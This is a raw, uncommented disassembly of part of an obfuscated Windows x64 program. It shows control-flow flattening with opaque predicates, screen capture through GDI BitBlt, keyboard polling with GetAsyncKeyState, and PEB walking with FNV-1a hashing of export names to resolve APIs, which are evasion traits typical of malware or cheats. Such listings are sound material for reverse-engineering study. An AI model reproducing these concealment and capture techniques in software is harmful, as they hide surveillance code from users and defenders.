jmp 0x1402b3ded
cmp eax, 0xe11ce2e2
je 0x1402bc02b
cmp eax, 0xe1f298a3
jne 0x1402b3ded
mov rax, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x58]
mov edx, dword [0x140837e60]
mov ebx, dword [0x140837e64]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete byte [rbp + 0x210]
cmp ebx, 0xa
setl byte [rbp + 0x190]
mov edx, 0xd955c508
nop dword [rax + rax]
cmp edx, 0xe1184721
jg 0x1402b7eb0
cmp edx, 0x8d0856b4
je 0x1402bc049
cmp edx, 0xd955c508
jne 0x1402b7e70
movzx ebx, byte [rbp + 0x210]
cmp byte [rbp + 0x190], 0
mov edx, 0xe1184722
mov edi, 0x46c478f2
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x1402b7e70
cmp edx, 0xe1184722
je 0x1402b7eef
cmp edx, 0x46c478f2
jne 0x1402b7e70
mov qword [rcx], 0
mov edx, dword [0x140837e60]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xe1184722
mov ebx, 0x8d0856b4
cmove edx, ebx
cmp dword [0x140837e64], 0xa
cmovl edx, ebx
jmp 0x1402b7e70
mov qword [rcx], 0
mov edx, 0x46c478f2
jmp 0x1402b7e70
cmp eax, 0x7ecc72a7
je 0x1402bc064
cmp eax, 0x7fca6e11
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa192a489
mov ecx, 0x1f57299b
jmp 0x1402b3de0
cmp eax, 0xc219d46f
je 0x1402bc06e
cmp eax, 0xc275255a
jne 0x1402b3ded
mov rax, qword [rbp - 0x20]
mov byte [rbp + 0x1e7], al
mov eax, dword [rbp + 0x2c]
mov dword [rbp + 0x1c0], eax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5d5fa444
mov ecx, 0xf6dd2f70
jmp 0x1402b3de0
cmp eax, 0x41aed59d
je 0x1402bc13b
cmp eax, 0x41ecd952
jne 0x1402b3ded
cmp byte [rbp + 0x177], 0
mov eax, 0xcac80d3d
mov ecx, 0x9c5ca529
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0x22a9f22
je 0x1402bc156
cmp eax, 0x3cde9da
jne 0x1402b3ded
mov dword [0x14083dfc4], 5
mov eax, 0x4c4728
jmp 0x1402b3ded
cmp eax, 0x5717bf3f
jne 0x1402bc7d9
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6e624e1
mov ecx, 0xb6ae3d69
jmp 0x1402b3de0
mov dword [0x14083dfc8], 1
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6c34dfb6
mov ecx, 0xa90f0b2e
jmp 0x1402b3de0
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd55d3384
mov ecx, 0xc1100d7
jmp 0x1402b3de0
mov eax, dword [rbp + 0x188]
cmp eax, 4
mov eax, 0x47183a20
mov ecx, 0xfe927361
cmovl eax, ecx
jmp 0x1402b3ded
mov rax, qword [rbp - 0x18]
mov ecx, dword [0x14083da44]
mov eax, dword [0x14083da40]
movd xmm0, ecx
movd xmm1, eax
punpckldq xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
psrad xmm0, 1
cvtdq2pd xmm0, xmm0
mov r8, qword [rbp - 0x18]
mov ebx, dword [0x14083eef0]
mov edi, dword [0x14083eef4]
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete byte [rbp + 0x210]
cmp edi, 0xa
setl byte [rbp + 0x190]
mov ebx, 0xb927ffbd
cmp ebx, 0xd85c2a7d
jg 0x1402b8110
cmp ebx, 0xb927ffbd
je 0x1402b812f
cmp ebx, 0xc6984a59
jne 0x1402b80c0
movups xmmword [r8], xmm0
mov edx, dword [0x14083eef0]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov ebx, 0x313521ab
mov edx, 0xd85c2a7e
cmove ebx, edx
cmp dword [0x14083eef4], 0xa
cmovl ebx, edx
jmp 0x1402b80c0
cmp ebx, 0xd85c2a7e
je 0x1402bc166
cmp ebx, 0x313521ab
jne 0x1402b80c0
movups xmmword [r8], xmm0
mov ebx, 0xc6984a59
jmp 0x1402b80c0
movzx edx, byte [rbp + 0x210]
cmp byte [rbp + 0x190], 0
mov ebx, 0x313521ab
mov edi, 0xc6984a59
cmovne ebx, edi
test dl, dl
cmovne ebx, edi
jmp 0x1402b80c0
mov eax, 0x6e6a7736
jmp 0x1402b3ded
mov eax, 0x8a87e3a5
jmp 0x1402b3ded
mov al, byte [rbp + 0x1de]
mov eax, 0xc1ac2c36
jmp 0x1402b3ded
cmp byte [rbp + 0x173], 0
mov eax, 0xc7531a4f
mov ecx, 0x15011726
cmovne eax, ecx
jmp 0x1402b3ded
mov byte [0x14083dce0], 0
mov eax, 0x3add1e3e
jmp 0x1402b3ded
mov eax, 0x41b87ad
jmp 0x1402b3ded
mov rdx, qword [rbp + 0x30]
mov qword [rbp - 0x80], rdx
mov rdx, qword [rbp - 0x80]
mov edx, ecx
add edx, 0xfffffffb
shr edx, 0x1f
add ecx, edx
add ecx, 0xfffffffb
sar ecx, 1
mov edx, eax
add edx, 0xfffffffb
shr edx, 0x1f
add eax, edx
add eax, 0xfffffffb
sar eax, 1
mov rdx, qword [rbp + 0x30]
mov dword [rdx], eax
mov dword [rdx + 4], ecx
movabs rax, 0x500000005
mov qword [rdx + 8], rax
mov rax, qword [rbp + 0x30]
movsxd rsi, dword [rax + 8]
movsxd rbx, dword [rax + 0xc]
mov r14d, dword [rax]
mov r15d, dword [rax + 4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r12
mov edx, esi
mov r8d, ebx
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov qword [rbp + 0x200], rax
sub rsp, 0x50
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9d, esi
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
lea rax, [rbp + 0x1a8]
movups xmmword [rax], xmm6
mov dword [rbp + 0x190], Ordinal_41
mov dword [rbp + 0x19c], 0x200001
mov dword [rbp + 0x194], esi
mov eax, ebx
neg eax
mov dword [rbp + 0x198], eax
mov qword [rbp + 0x1a0], 0
imul rsi, rbx
shl rsi, 2
sub rsp, 0x20
lea rcx, [0x14083dd18]
mov rdx, rsi
lea r8, [rbp + 0x210]
call fcn.14034ce50
add rsp, 0x20
mov eax, dword [0x1408382f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x228]
mov ecx, dword [0x1408382f4]
mov eax, 0x2acbea3d
mov edx, 0xa71f946
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x238]
mov r8, qword [0x14083dd18]
cmovl eax, edx
mov edx, 0x6e3609a9
cmp edx, 0x6e3609a8
jg 0x1402b8360
cmp edx, 0xa71f946
je 0x1402bc356
cmp edx, 0x2acbea3d
jne 0x1402b8330
mov edx, 0x74015c41
jmp 0x1402b8330
cmp edx, 0x74015c41
je 0x1402b8392
cmp edx, 0x6e3609a9
jne 0x1402b8330
movzx ecx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0x2acbea3d
mov esi, 0x74015c41
cmovne edx, esi
test cl, cl
cmovne edx, esi
jmp 0x1402b8330
mov edx, eax
jmp 0x1402b8330
mov eax, dword [rbp + 0x14]
mov dword [rbp + 0x40], eax
mov eax, dword [rbp + 0x54]
mov byte [rbp + 0x1e1], al
mov eax, dword [rbp + 0x40]
cmp eax, 5
mov eax, 0x2582fbae
mov ecx, 0xed19965e
cmovl eax, ecx
jmp 0x1402b3ded
cmp byte [0x14083df90], 0
setne byte [rbp + 0x179]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6b5e4cb
mov ecx, 0x6572788e
jmp 0x1402b3de0
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcc0bb34c
mov ecx, 0xbeded453
jmp 0x1402b3de0
movabs rax, 0x600000002
jmp 0x1402bb8e3
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2e8e5332
mov ecx, 0xb67ebd89
jmp 0x1402b3de0
mov dword [0x14083dfc4], 0xa2
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcc0bb34c
mov ecx, 0xffae8e7d
jmp 0x1402b3de0
cmp byte [rbp + 0x174], 0
mov eax, 0x990da708
mov ecx, 0x629ba0f7
cmovne eax, ecx
jmp 0x1402b3ded
mov eax, 0x87a5c109
jmp 0x1402b3ded
mov edx, dword [rbp + 4]
mov r8d, dword [rbp - 4]
sub rsp, 0x20
lea rcx, [0x14083d938]
call fcn.1402b1e70
add rsp, 0x20
mov eax, 0x19e4b187
jmp 0x1402b3ded
cmp dword [rbp + 0x6c], 0
mov eax, 0xe08f3589
mov ecx, 0xc94ee349
cmovle eax, ecx
jmp 0x1402b3ded
mov ecx, dword [0x14083dfc8]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
mov eax, 0x437a3dad
jmp 0x1402b3ded
cmp byte [rbp + 0x176], 0
mov eax, 0xd6016d8a
mov ecx, 0x97487eb8
cmovne eax, ecx
jmp 0x1402b3ded
mov dword [0x14083dfc8], 5
mov eax, 0x3098ecdb
jmp 0x1402b3ded
mov eax, dword [rbp + 0x1c0]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7d045c5f
mov ecx, 0xeb3cbada
jmp 0x1402b3de0
cmp dword [rbp + 0x188], 0
mov eax, 0x5a8b0db8
mov ecx, 0x8bd4c5a0
cmove eax, ecx
jmp 0x1402b3ded
cmp byte [rbp + 0x16e], 0
mov eax, 0x314c6de8
mov ecx, 0xa37d078c
cmovne eax, ecx
jmp 0x1402b3ded
mov ecx, dword [0x14083dfc8]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
test ax, ax
sets byte [rbp + 0x16e]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5b1ab26
mov ecx, 0xe3304ba2
jmp 0x1402b3de0
mov eax, dword [rbp + 0xc]
mov dword [rbp + 0x3c], eax
mov al, byte [rbp + 0x1eb]
mov byte [rbp + 0x1e0], al
mov eax, dword [rbp + 0x3c]
cmp eax, 0x14
mov eax, 0x12d17ae2
mov ecx, 0x6fad3278
cmovl eax, ecx
jmp 0x1402b3ded
mov al, byte [rbp + 0x1e0]
mov byte [rbp + 0x1e9], al
mov eax, 0xff4f3c64
jmp 0x1402b3ded
mov eax, dword [0x14083ef00]
mov ecx, dword [0x14083ef04]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x16d]
cmp ecx, 0xa
setl byte [rbp + 0x16c]
mov eax, 0x6df99eee
nop dword [rax + rax]
cmp eax, 0x3ca0d9ec
jg 0x1402b8630
cmp eax, 0xe82afe92
je 0x1402b8663
cmp eax, 0xfe61a40c
jne 0x1402b8610
jmp 0x1402bc40f
cmp eax, 0x3ca0d9ed
je 0x1402b8733
cmp eax, 0x6df99eee
jne 0x1402b8610
mov cl, byte [rbp + 0x16d]
cmp byte [rbp + 0x16c], 0
mov eax, 0x3ca0d9ed
mov edx, 0xe82afe92
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402b8610
lea rax, [rbp + 0x210]
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x160]
mov eax, dword [0x14083e218]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x228]
mov ecx, dword [0x14083e21c]
mov eax, 0xc6b4f5eb
mov edx, 0xd2ecee4a
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x238]
cmovl eax, edx
mov edx, 0x65535fa0
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x65535f9f
jg 0x1402b86e0
cmp edx, 0xc6b4f5eb
je 0x1402b8712
cmp edx, 0xd2ecee4a
jne 0x1402b86c0
jmp 0x1402b8803
cmp edx, 0x769bd714
je 0x1402b8722
cmp edx, 0x65535fa0
jne 0x1402b86c0
movzx ebx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0xc6b4f5eb
mov edi, 0x769bd714
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x1402b86c0
mov rdx, qword gs:[0x60]
mov edx, 0x769bd714
jmp 0x1402b86c0
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov edx, eax
jmp 0x1402b86c0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x160]
mov eax, dword [0x14083e218]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x228]
mov ecx, dword [0x14083e21c]
mov eax, 0xc6b4f5eb
mov edx, 0xd2ecee4a
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x238]
cmovl eax, edx
mov edx, 0x65535fa0
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x65535f9f
jg 0x1402b87b0
cmp edx, 0xc6b4f5eb
je 0x1402b87e2
cmp edx, 0xd2ecee4a
jne 0x1402b8790
jmp 0x1402b944d
cmp edx, 0x769bd714
je 0x1402b87f2
cmp edx, 0x65535fa0
jne 0x1402b8790
movzx ebx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0xc6b4f5eb
mov edi, 0x769bd714
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x1402b8790
mov rdx, qword gs:[0x60]
mov edx, 0x769bd714
jmp 0x1402b8790
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov edx, eax
jmp 0x1402b8790
mov qword [rbp + 0x190], rcx
mov rax, qword [rbp + 0x190]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rax
mov edi, 0x4e836706
jmp 0x1402b885d
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x844a4f8a
mov eax, 0xc57b49b3
nop word cs:[rax + rax]
nop dword [rax]
cmove edi, eax
cmp dword [0x14083ef0c], 0xa
cmovl edi, eax
cmp edi, 0xe7187760
jg 0x1402b88d0
cmp edi, 0xb21c0a58
jg 0x1402b8930
cmp edi, 0x96a160e1
jle 0x1402b8ac0
cmp edi, 0x96a160e2
je 0x1402b8b8e
cmp edi, 0x9b2c4326
je 0x1402b8bb8
cmp edi, 0xb17de832
jne 0x1402b885d
cmp byte [rbp + 0x20c], 0
mov edi, 0xe6b7b383
mov eax, 0x4e836706
cmovne edi, eax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x90], rax
jmp 0x1402b885d
cmp edi, 0x2537a3ee
jg 0x1402b8970
cmp edi, 0x1c5bfee
jle 0x1402b8af6
cmp edi, 0x1c5bfef
je 0x1402b8bc2
cmp edi, 0x880e35c
je 0x1402b882a
cmp edi, 0x1ef1e337
jne 0x1402b885d
mov eax, r8d
sub eax, 1
mov dword [rbp + 0x180], eax
mov edi, 0x2537a3ef
mov eax, 0x40ee6527
cmovb edi, eax
jmp 0x1402b885d
cmp edi, 0xc57b49b2
jle 0x1402b8b2c
cmp edi, 0xc57b49b3
je 0x1402b8c9b
cmp edi, 0xdfc32b48
je 0x1402b8cac
cmp edi, 0xe6b7b383
jne 0x1402b885d
mov edi, 0x51af8e40
xor r11d, r11d
jmp 0x1402b885d
cmp edi, 0x4e836705
jle 0x1402b8b62
cmp edi, 0x57bab3db
je 0x1402b8cce
cmp edi, 0x51af8e40
je 0x1402b8d6b
cmp edi, 0x4e836706
jne 0x1402b885d
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x150], rax
lea rax, [rbp + 0x190]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x30]
mov edx, dword [0x14083e230]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete byte [rbp + 0x228]
mov edx, dword [0x14083e234]
mov ebx, 0x692076d1
mov ecx, 0xac852ca3
cmove ebx, ecx
cmp edx, 0xa
setl byte [rbp + 0x238]
cmovl ebx, ecx
mov edx, 0x324d120
nop dword [rax]
cmp edx, 0x692076d0
jg 0x1402b8a50
cmp edx, 0xac852ca3
je 0x1402b8d94
cmp edx, 0x324d120
jne 0x1402b8a10
movzx ecx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0x692076d1
mov edi, 0x6977fb76
cmovne edx, edi
test cl, cl
cmovne edx, edi
jmp 0x1402b8a10
cmp edx, 0x692076d1
je 0x1402b8a8d
cmp edx, 0x6977fb76
jne 0x1402b8a10
mov qword [rbp + 0x190], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
add rdx, rax
mov qword [rbp + 0x198], rdx
mov dword [rbp + 0x1a0], ecx
mov edx, ebx
jmp 0x1402b8a10
mov qword [rbp + 0x190], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
add rdx, rax
mov qword [rbp + 0x198], rdx
mov dword [rbp + 0x1a0], ecx
mov edx, 0x6977fb76
jmp 0x1402b8a10
cmp edi, 0x844a4f8a
je 0x1402b8dbb
cmp edi, 0x95933a11
jne 0x1402b940e
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xe7187761
mov eax, 0xb21c0a59
jmp 0x1402b8850
cmp edi, 0xe7187761
je 0x1402b8dc5
cmp edi, 0xf69bbb1c
jne 0x1402b885d
test r9d, r9d
mov edi, 0x96a160e2
mov eax, 0xdfc32b48
cmove edi, eax
mov r10d, r9d
mov r14, r15
mov r12, r15
jmp 0x1402b885d
cmp edi, 0xb21c0a59
je 0x1402b8e44
cmp edi, 0xb8226e99
jne 0x1402b885d
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x9b2c4326
mov eax, 0x8e41c55a
jmp 0x1402b8850
cmp edi, 0x2537a3ef
je 0x1402b8ed1
cmp edi, 0x40ee6527
jne 0x1402b885d
mov edi, 0xf69bbb1c
xor r9d, r9d
mov r15, qword [rbp + 0x150]
jmp 0x1402b885d
mov qword [rbp + 0x148], r14
mov rax, qword [rbp + 0x158]
test r10d, r10d
mov edi, 0x51af8e40
mov eax, 0x95933a11
cmove edi, eax
mov r11, qword [rbp + 0x148]
jmp 0x1402b885d
mov edi, 0xb8226e99
jmp 0x1402b885d
mov r9d, dword [rbp + 0x180]
mov ecx, dword [0x14083e238]
mov edx, dword [0x14083e23c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0x234]
mov esi, 0x64b3389d
mov ecx, 0xc25e528a
cmove esi, ecx
cmp edx, 0xa
setl byte [rbp + 0x228]
mov rbx, qword [rbp + 0x190]
mov rdi, qword [rbp + 0x198]
cmovl esi, ecx
mov edx, 0xa3426ff2
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd38a7359
jg 0x1402b8c40
cmp edx, 0xa3426ff2
je 0x1402b8c57
cmp edx, 0xc25e528a
jne 0x1402b8c20
jmp 0x1402b93b0
cmp edx, 0xd38a735a
je 0x1402b8c79
cmp edx, 0x64b3389d
jne 0x1402b8c20
mov edx, 0xd38a735a
jmp 0x1402b8c20
movzx ecx, byte [rbp + 0x234]
cmp byte [rbp + 0x228], 0
mov edx, 0x64b3389d
mov eax, 0xd38a735a
cmovne edx, eax
test cl, cl
cmovne edx, eax
jmp 0x1402b8c20
mov ecx, dword [rdi + 0x1c]
mov edx, dword [rdi + 0x24]
add rcx, rbx
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov ecx, dword [rcx + rdx*4]
add rcx, rbx
mov qword [rbp + 0x238], rcx
mov edx, esi
jmp 0x1402b8c20
mov edi, 0x96a160e2
xor r10d, r10d
mov r14, qword [rbp + 0x78]
jmp 0x1402b885d
mov qword [rbp + 0x78], r12
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x844a4f8a
mov eax, 0x880e35c
jmp 0x1402b8850
mov eax, dword [0x14083e240]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x234]
mov eax, dword [0x14083e244]
mov ebx, 0x8b27232d
mov ecx, 0x1ca195b3
cmove ebx, ecx
cmp eax, 0xa
setl byte [rbp + 0x228]
mov rdi, qword [rbp + 0x198]
cmovl ebx, ecx
mov eax, 0x7ed650e2
cmp eax, 0x1ca195b2
jg 0x1402b8d30
cmp eax, 0x8b27232d
je 0x1402b8d64
cmp eax, 0xbb9f5d90
jne 0x1402b8d10
mov edx, dword [rdi + 0x18]
mov eax, ebx
jmp 0x1402b8d10
cmp eax, 0x1ca195b3
je 0x1402b93c7
cmp eax, 0x7ed650e2
jne 0x1402b8d10
movzx ecx, byte [rbp + 0x234]
cmp byte [rbp + 0x228], 0
mov eax, 0x8b27232d
mov esi, 0xbb9f5d90
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x1402b8d10
mov eax, 0xbb9f5d90
jmp 0x1402b8d10
mov qword [rbp + 0x70], r11
mov rax, qword [rbp + 0x160]
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x9b2c4326
mov eax, 0xb8226e99
jmp 0x1402b8850
mov rax, qword [rbp + 0x198]
cmp rax, qword [rbp + 0x190]
mov edi, 0x57bab3db
mov eax, 0xdfc32b48
cmove edi, eax
mov r12, qword [rbp + 0x150]
jmp 0x1402b885d
mov edi, 0x880e35c
jmp 0x1402b885d
mov rax, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x218]
mov rax, qword [rax]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x238], rcx
mov eax, 0x936abfa2
nop word [rax + rax]
cmp eax, 0x8e78f025
je 0x1402b93de
cmp eax, 0x4104a297
je 0x1402b8e36
cmp eax, 0x936abfa2
jne 0x1402b8e00
mov rax, qword [rbp + 0x228]
cmp rax, qword [rbp + 0x238]
mov eax, 0x4104a297
mov ecx, 0x8e78f025
cmove eax, ecx
jmp 0x1402b8e00
mov rax, qword [rbp + 0x228]
mov eax, 0x8e78f025
jmp 0x1402b8e00
mov rax, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x218]
mov rax, qword [rax]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x238], rcx
mov edx, 0x936abfa2
nop word cs:[rax + rax]
cmp edx, 0x8e78f025
je 0x1402b93e8
cmp edx, 0x4104a297
je 0x1402b8ebb
cmp edx, 0x936abfa2
jne 0x1402b8e80
mov rax, qword [rbp + 0x228]
cmp rax, qword [rbp + 0x238]
mov edx, 0x4104a297
mov eax, 0x8e78f025
cmove edx, eax
xor eax, eax
jmp 0x1402b8e80
mov rax, qword [rbp + 0x228]
cmp qword [rax + 0x30], 0
setne al
mov edx, 0x8e78f025
jmp 0x1402b8e80
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xa8], r15
mov dword [rbp + 0xa0], r9d
mov qword [rbp + 0x98], r14
mov qword [rbp + 0x88], r11
mov dword [rbp + 0x1d4], r10d
mov eax, dword [rbp + 0x180]
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r14d, dword [rdx + rax*4]
add r14, rcx
mov eax, dword [0x14083e220]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14083e224], 0xa
setl cl
or cl, al
mov eax, dword [0x14083e228]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x14083e22c], 0xa
setl dl
or dl, al
mov r11d, 0x88bf6b6d
mov eax, 0x4401a585
cmovne r11d, eax
mov esi, 0x88bf6b6d
mov eax, 0x26eb59a3
cmovne esi, eax
test cl, cl
mov ecx, 0xef4b7c94
mov eax, 0x4af65b55
cmovne ecx, eax
mov dword [rbp + 0x1c4], ecx
mov ecx, 0xef4b7c94
mov eax, 0x23ea633d
cmovne ecx, eax
mov dword [rbp + 0x1c8], ecx
mov r9d, 0x160c3cba
mov ecx, 0xf62c5ae8
cmovne r9d, ecx
mov r13d, 0x160c3cba
mov ecx, 0x3b7c6d44
cmovne r13d, ecx
mov eax, 0xe435eeb6
mov ecx, 0x58f9c82a
cmovne eax, ecx
mov dword [rbp + 0x1cc], eax
mov eax, 0xe435eeb6
mov ecx, 0xe43c4e77
cmovne eax, ecx
mov dword [rbp + 0x1d0], eax
mov r8d, 0x51e4684b
mov ebx, 0x811c9dc5
jmp 0x1402b9000
mov ecx, dword [rbp + 0x1f8]
mov r8d, 0x23ea633d
nop dword [rax]
mov edx, r8d
cmp r8d, 0x160c3cb9
jle 0x1402b9070
cmp edx, 0x3b7c6d43
jle 0x1402b91e0
cmp edx, 0x51e4684a
jg 0x1402b9276
mov r8d, r9d
cmp edx, 0x3b7c6d44
je 0x1402b9000
mov r8d, edx
cmp edx, 0x4af65b55
jne 0x1402b9000
cmp byte [rbp + 0x20a], 0
mov r8d, 0xd16776db
mov eax, 0x51e4684b
cmovne r8d, eax
mov r14, qword [rbp + 0x228]
mov ebx, dword [rbp + 0x1bc]
mov eax, dword [rbp + 0x1f4]
mov dword [rbp + 0x200], eax
jmp 0x1402b9000
cmp edx, 0xe43c4e76
jg 0x1402b9230
cmp edx, 0xd16776da
jg 0x1402b92b3
mov r8d, r13d
cmp edx, 0xa3229d86
je 0x1402b9000
mov r8d, edx
cmp edx, 0xc4fc00df
jne 0x1402b9000
mov r10d, ebx
movsx ecx, byte [rbp + 0x226]
mov edx, dword [rbp + 0x17c]
mov dword [rbp + 0x234], ecx
mov edi, 0x8b437c89
mov ebx, 0x68ed306f
mov eax, 0x1613601d
jmp 0x1402b90e0
mov edi, dword [rbp + 0x234]
mov edi, 0x26eb59a3
nop dword [rax + rax]
cmp edi, 0x1613601c
jle 0x1402b9120
cmp edi, 0x4401a584
jg 0x1402b9150
cmp edi, 0x1613601d
je 0x1402b917f
cmp edi, 0x26eb59a3
jne 0x1402b90e0
mov edi, dword [rbp + 0x234]
cmp edi, 0x5b
setl byte [rbp + 0x209]
mov edi, r11d
jmp 0x1402b90e0
cmp edi, 0x9c5db898
jg 0x1402b9167
cmp edi, 0x88bf6b6d
je 0x1402b90cd
cmp edi, 0x8b437c89
jne 0x1402b90e0
mov edi, dword [rbp + 0x234]
cmp edi, 0x41
mov edi, 0xf78c71ea
cmovge edi, ebx
jmp 0x1402b90e0
cmp edi, 0x4401a585
je 0x1402b9192
cmp edi, 0x68ed306f
jne 0x1402b90e0
mov edi, esi
jmp 0x1402b90e0
cmp edi, 0xf78c71ea
jne 0x1402b91a6
mov edi, 0x9c5db899
mov ecx, dword [rbp + 0x234]
jmp 0x1402b90e0
mov ecx, dword [rbp + 0x234]
or ecx, 0x20
mov edi, 0x9c5db899
jmp 0x1402b90e0
cmp byte [rbp + 0x209], 0
mov edi, 0xf78c71ea
cmovne edi, eax
jmp 0x1402b90e0
cmp edi, 0x9c5db899
jne 0x1402b90e0
xor ecx, edx
imul eax, ecx, 0x1000193
mov r8d, 0x2969588e
xor r15d, r15d
mov r12d, dword [rbp + 0x38]
mov ebx, r10d
mov r10d, eax
jmp 0x1402b9000
cmp edx, 0x160c3cba
je 0x1402b92d8
cmp edx, 0x23ea633d
je 0x1402b92e3
mov r8d, edx
cmp edx, 0x2969588e
jne 0x1402b9000
mov dword [rbp + 0x1f8], r15d
mov dword [rbp + 0x1f4], r12d
mov dword [rbp + 0x1bc], r10d
mov r8d, dword [rbp + 0x1c8]
jmp 0x1402b9000
cmp edx, 0xe43c4e77
je 0x1402b92fd
cmp edx, 0xef4b7c94
je 0x1402b8fed
mov r8d, edx
cmp edx, 0xf62c5ae8
jne 0x1402b9000
mov r10d, dword [rbp + 0x17c]
mov r8d, 0x2969588e
mov r15d, 1
mov r12d, dword [rbp + 0x17c]
jmp 0x1402b9000
cmp edx, 0x58f9c82a
je 0x1402b9338
mov r8d, edx
cmp edx, 0x51e4684b
jne 0x1402b9000
mov eax, dword [rbp + 0x200]
mov dword [rbp + 0x38], eax
mov dword [rbp + 0x17c], ebx
mov qword [rbp + 0x238], r14
mov r8d, dword [rbp + 0x1d0]
